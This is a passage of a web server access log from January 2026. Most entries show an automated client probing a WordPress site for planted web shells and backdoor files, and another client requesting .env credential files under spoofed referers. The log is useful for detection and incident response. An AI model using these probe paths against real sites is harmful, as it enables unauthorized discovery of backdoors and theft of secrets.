/wp-content/themes/news-portal/wp-admins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:03 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:05 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:06 +0300] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:12 +0300] "GET /wp-content/themes/spacious-pro/js/theia-sticky-sidebar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:17 +0300] "GET /wp-includes/Requests/zxasd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:22 +0300] "GET /wp-includes/theme-compat/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:27 +0300] "GET /wp-includes/theme-compat/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:32 +0300] "GET /wp-includes/certificates/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:37 +0300] "GET /wp-includes/css/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:42 +0300] "GET /wp-includes/fonts/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:47 +0300] "GET /wp-includes/assets/a1cord.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:54 +0300] "GET /wp-includes/blocks/comment-edit-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:49:55 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:00 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:05 +0300] "GET /wp-content/plugins/wp_helper_bimfl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:10 +0300] "GET /wp-content/plugins/wp_helper_avcdl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:14 +0300] "GET /wp-content/plugins/wp_helper_rrvvo/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:19 +0300] "GET /wp-content/plugins/contact-form-7/wp-contact-form-7.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:25 +0300] "GET /wp-content/themes/wp_theme_ahewl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:28 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:30 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:31 +0300] "GET /wp-includes/PHPMailer/tx20.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:34 +0300] "GET /wp-includes/ah22.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:38 +0300] "GET /wp-includes/js/ooo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:43 +0300] "GET /wp-includes/js/jcrop/dist/content/pmdwx/xfe/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:47 +0300] "GET /wp-admin/css/colors/midnight/resources/dist/includes/img/alw/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:52 +0300] "GET /wp-admin/js/widgets/cache/assets/v3/v3/files/akami/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:50:58 +0300] "GET /wp-admin/datate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:01 +0300] "GET /wp-includes/PHPMailer/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:06 +0300] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:11 +0300] "GET /wp-content/plugins/call-now-button/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:16 +0300] "GET /wp-content/uploads/rank-math/mmm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:21 +0300] "GET /wp-content/maintenance/assets/mmm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:25 +0300] "GET /wp-includes/ID3/menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:30 +0300] "GET /wp-includes/js/crop/menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:34 +0300] "GET /wp-includes/sitemaps/todpIbcm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:39 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:44 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:48 +0300] "GET /about/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:53 +0300] "GET /new/update/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:51:58 +0300] "GET /new/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:03 +0300] "GET /wp-content/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:08 +0300] "GET /wp-includes/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:13 +0300] "GET /wp-content/themes/as/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:18 +0300] "GET /wp-content/wp-rocket-config/V.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:23 +0300] "GET /wp-includes/block-patterns/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:28 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:29 +0300] "GET /wp-includes/html-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:34 +0300] "GET /wp-admin/v.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:39 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:44 +0300] "GET /wp-content/themes/twentytwentythree/templates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:46 +0300] "GET /wp-content/fonts/page.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:51 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:52 +0300] "GET /wp-includes/rest-api/endpoints/webix.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:52:57 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:02 +0300] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:07 +0300] "GET /wp-includes/SimplePie/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:12 +0300] "GET /wp-includes/IXR/info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:17 +0300] "GET /wp-content/plugins/wp-style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:22 +0300] "GET /wp-content/xp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:27 +0300] "GET /assets/admin/skin/base/mixins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:32 +0300] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:37 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:39 +0300] "GET /wp-includes/Requests/library/min.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:44 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:44 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:45 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:46 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:47 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:48 +0300] "GET /wp-admin/network/datate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:54 +0300] "GET /wp-includes/sodium_compat/lib/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:53:58 +0300] "GET /wp-includes/js/wp-work.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:03 +0300] "GET /wp-includes/rest-api/search/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:08 +0300] "GET /wp-content/themes/lifeempore/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:13 +0300] "GET /wp-content/themes/lifeempore-v1/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:18 +0300] "GET /wp-content/themes/lifeempore-v2/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:23 +0300] "GET /wp-content/themes/twentynineteen/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:28 +0300] "GET /wp-includes/blocks/post-excerpt-constructor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:33 +0300] "GET /wp-admin/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:39 +0300] "GET /wp-admin/includes/class-ftp-sockets-more.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:43 +0300] "GET /wp-admin/options-privacy-pic.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:48 +0300] "GET /wp-includes/post-template-soap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:53 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:54:59 +0300] "GET /wp-admin/privacy-beta.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:03 +0300] "GET /wp-content/uploads/revslider/templates/particle-effect-three/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:09 +0300] "GET /wp-content/uploads/revslider/templates/magazineposts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:14 +0300] "GET /wp-content/uploads/revslider/templates/landing-page-hero/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:19 +0300] "GET /wp-content/uploads/revslider/templates/le-chef-la-carte/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:24 +0300] "GET /wp-content/themes/flatco/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:29 +0300] "GET /wp-content/themes/flatco/framework/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:34 +0300] "GET /wp-content/themes/Avada/woocommerce/checkout/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:39 +0300] "GET /wp-content/themes/Avada/includes/recaptcha/src/ReCaptcha/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:44 +0300] "GET /wp-content/themes/target/admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:50 +0300] "GET /wp-content/themes/dt-the7/inc/extensions/options-framework/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:52 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:55:58 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:02 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:07 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:08 +0300] "GET /wp-includes/wp-includes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:13 +0300] "GET /wp-content/wp-rocket-config/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:16 +0300] "GET /wp-includes/pomo/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:20 +0300] "GET /wp-includes/block-supports/cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:24 +0300] "GET /wp-admin/css/colors/termps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:27 +0300] "GET /wp-admin/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:30 +0300] "GET /wp-includes/blocks/social-links/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:34 +0300] "GET /wp-admin/man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:38 +0300] "GET /images/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:42 +0300] "GET /wp-content/plugins/cherry-plugin-master/includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:46 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:49 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:53 +0300] "GET /wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:56:58 +0300] "GET /wp-content/wtu_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:03 +0300] "GET /wp-content/plugins/pgaas/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:09 +0300] "GET /wp-content/plugins/mtodm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:13 +0300] "GET /wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:18 +0300] "GET /wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:23 +0300] "GET /wp-admin/wp-maiI.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:28 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:34 +0300] "GET /wp-content/plugins/wophq/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:39 +0300] "GET /wadd-wp-bookls.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:44 +0300] "GET /wp-content/plugins/wordpress-seo-extended/admin/views/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:49 +0300] "GET /wp-includes/class-walker-page-dropdown-first.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:54 +0300] "GET /wp-includes/widgets/class-wp-widget-tag-cloud-new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:57:59 +0300] "GET /wp-admin/zer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:04 +0300] "GET /wp-admin/includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:09 +0300] "GET /wp-admin/includes/screen-event.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:14 +0300] "GET /wp-admin/network/site-info-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:20 +0300] "GET /wp-admin/wp-mails.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:25 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:30 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:35 +0300] "GET /wp-admin/file-manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:40 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:45 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:50 +0300] "GET /wp-includes/block-bindings/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:58:55 +0300] "GET /wp-content/plugins/Iitespeed-cache/drive.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:59:00 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:59:05 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:59:10 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 54.174.58.244 - - [22/Jan/2026:20:08:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.244 - - [22/Jan/2026:20:08:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 43.157.50.58 - - [22/Jan/2026:19:49:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.228 - - [22/Jan/2026:20:14:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 155.94.150.29 - - [22/Jan/2026:20:24:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 100.48.162.207 - - [22/Jan/2026:20:48:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36" 54.174.58.236 - - [22/Jan/2026:21:04:43 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.236 - - [22/Jan/2026:21:04:46 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 117.62.235.53 - - [22/Jan/2026:21:08:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 105.159.181.160 - - [22/Jan/2026:21:55:52 +0300] "GET /.env HTTP/1.1" 301 795 "https://www.quora.com/search?q=best+books+to+read+2026" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 105.159.181.160 - - [22/Jan/2026:21:55:52 +0300] "GET /.env.backup HTTP/1.1" 301 795 "https://www.bbc.com/news/science-environment-12345678" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 105.159.181.160 - - [22/Jan/2026:21:55:52 +0300] "GET /.env.old HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/120.0.2210.144 Safari/537.36" 105.159.181.160 - - [22/Jan/2026:21:55:52 +0300] "GET /.env.local HTTP/1.1" 301 795 "https://news.google.com/" "Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" 105.159.181.160 - - [22/Jan/2026:21:55:53 +0300] "GET /.env.production HTTP/1.1" 301 795 "https://www.imdb.com/search/title/?title_type=feature&year=2025,2026" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" 105.159.181.160 - - [22/Jan/2026:21:55:53 +0300] "GET /.env.staging HTTP/1.1" 301 795 "https://www.facebook.com/travel/posts/67890?__cft__[0]=xyz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/121.0.2277.128 Safari/537.36" 105.159.181.160 - - [22/Jan/2026:21:55:53 +0300] "GET /.env.development HTTP/1.1" 301 795 "https://www.instagram.com/explore/tags/landscapephotography/" "Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" 105.159.181.160 - - [22/Jan/2026:21:55:53 +0300] "GET /.env.test HTTP/1.1" 301 795 "https://l.facebook.com/" "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 105.159.181.160 - - [22/Jan/2026:21:55:54 +0300] "GET /.env.example HTTP/1.1" 301 795 "https://www.bbc.com/news/science-environment-12345678" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36" 167.172.57.19 - - [22/Jan/2026:22:33:12 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 176.61.151.122 - - [22/Jan/2026:23:38:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 167.172.57.19 - - [22/Jan/2026:22:33:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 167.99.216.222 - - [22/Jan/2026:23:50:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 167.99.216.222 - - [22/Jan/2026:23:50:50 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 51.68.111.203 - - [23/Jan/2026:00:24:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.111.203 - - [23/Jan/2026:00:24:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 43.130.60.195 - - [23/Jan/2026:01:37:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.24.236.78 - - [23/Jan/2026:02:15:34 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 